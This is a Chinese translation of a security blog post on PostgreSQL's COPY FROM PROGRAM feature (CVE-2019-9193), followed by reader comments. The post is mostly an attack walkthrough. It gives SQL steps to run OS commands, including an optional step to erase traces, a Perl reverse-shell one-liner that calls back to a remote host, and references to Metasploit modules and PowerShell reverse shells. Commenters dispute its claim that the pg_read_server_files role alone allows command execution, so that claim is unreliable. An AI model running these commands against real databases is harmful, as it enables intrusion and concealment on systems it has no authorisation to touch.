PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)

iso60001  2074天前

22.jpg

PostgreSQL,俗称Postgres,是世界上最受欢迎的数据库系统之一。它是Mac OSX系统的主力数据库,同时也有Linux和Windows版本。

在这篇文章中,我将展示一个Postgres上鲜为人知的“功能”(CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。

从版本9.3开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能简单来说就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。这就意味着数据库的超级用户与运行数据库的用户在操作系统上拥有相同的权限。

33.png

这种缺乏权限分离的设定,我们早在2000年左右就能看到,例如,Microsoft SQL Server在默认情况下会启用了xp_cmdshell功能。直到Microsoft SQL Server 2005,这种不合理的设定才被修复。但有趣的是,相同的错误似乎一直在不停重复。

44.png

这种错误/缺陷/功能/漏洞介于提权和任意代码执行之间,因为在利用它之前需要数据库的某种身份验证。当然,攻击者也有可能通过SQL注入来实现。无论哪种情况,只有超级用户或具有“pg_read_server_files”权限的用户都才能执行系统命令。

要执行这种攻击,可按照以下步骤操作:

1)[可选]删除你想使用但已存在的表

DROP TABLE IF EXISTS cmd_exec;

2)创建保存系统命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

3)通过COPY FROM PROGRAM功能运行系统命令

COPY cmd_exec FROM PROGRAM 'id';

4)[可选]查看结果

SELECT * FROM cmd_exec;

5)[可选]清理痕迹

DROP TABLE IF EXISTS cmd_exec;

55.png

注意,原本命令中的任何单引号都必须转换为双引号才能正常生效,例如,如果要运行命令:

echo 'hello';

你需要将它整个放置在单引号内,然后用双引号替换所有内部所有的单引号:

'echo "hello";'

我已在Postgres可运行的所有操作系统上进行了测试,都以反弹回一个shell为目标,这个shell的权限如下:

Windows - NT AUTHORITY/NETWORK SERVICE (低权限)
Linux - postgres (低权限)
Mac - 安装postgres的用户的权限 (通常是管理员权限)

在Linux和Mac OSX系统下通常可以利用perl语言实现反弹shell,命令如下:

COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';

当然,我还有更简单的方法。我制作了一个新的me tasploit模块(尽快合并到主框架中)来实现远程控制,原本的postgres_payload模块只能在版本8之前生效。我的postgres_cmd_execution_nine_three.rb会自动执行上述所有操作,当然,你必须提供有效的数据库凭据,且具有如上所述权限。如果是SQL注入的情况,那你就只能手动操作了。

66.png

77.png

如果目标是Windows系统,NETWORK SERVICE权限的用户似乎不具有写权限,但我们仍然可以利用PowerShell来反弹回shell。我们可以使用me tasploit来生成Powershell编写的反弹shell语句,再带入上述模块中的COMMAND变量。请注意,要使用反斜杠来转义单引号。

88.png

99.png

100.png

希望我的研究能对你有用。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

最新评论

aaa  :  这算个什么漏洞?
2074天前 回复
iso60001  :  毕竟分配了cve。可能老外算吧
2074天前 回复
xiannv  :  **好强哦
2074天前 回复
xiannv  :  表1哥都不能说么……
2074天前 回复
osdba  :  这是根据不是安全漏洞,这是正常的功能。只有超级用户和pg_execute_server_program的权限的人才能以“postgres”用户执行命令,PostgreSQL**社区已澄清了,见:**s://**.postgresql.org/about/news/1935/&nbsp; 只有pg_read_server_files这个权限根本无法执行命令。
2054天前 回复
osdba  :  这根本不是安全漏洞,这是正常的功能。只有超级用户和pg_execute_server_program的权限的人才能以“postgres”用户执行命令,PostgreSQL**社区已澄清了,见:**s://**.postgresql.org/about/news/1935/&amp;nbsp; 只有pg_read_server_files这个权限根本无法执行命令。
2054天前 回复
osdba  :  见具体的澄清文章:**://**.pgsql.tech/article_101_10000077
2054天前 回复
昵称
邮箱
提交评论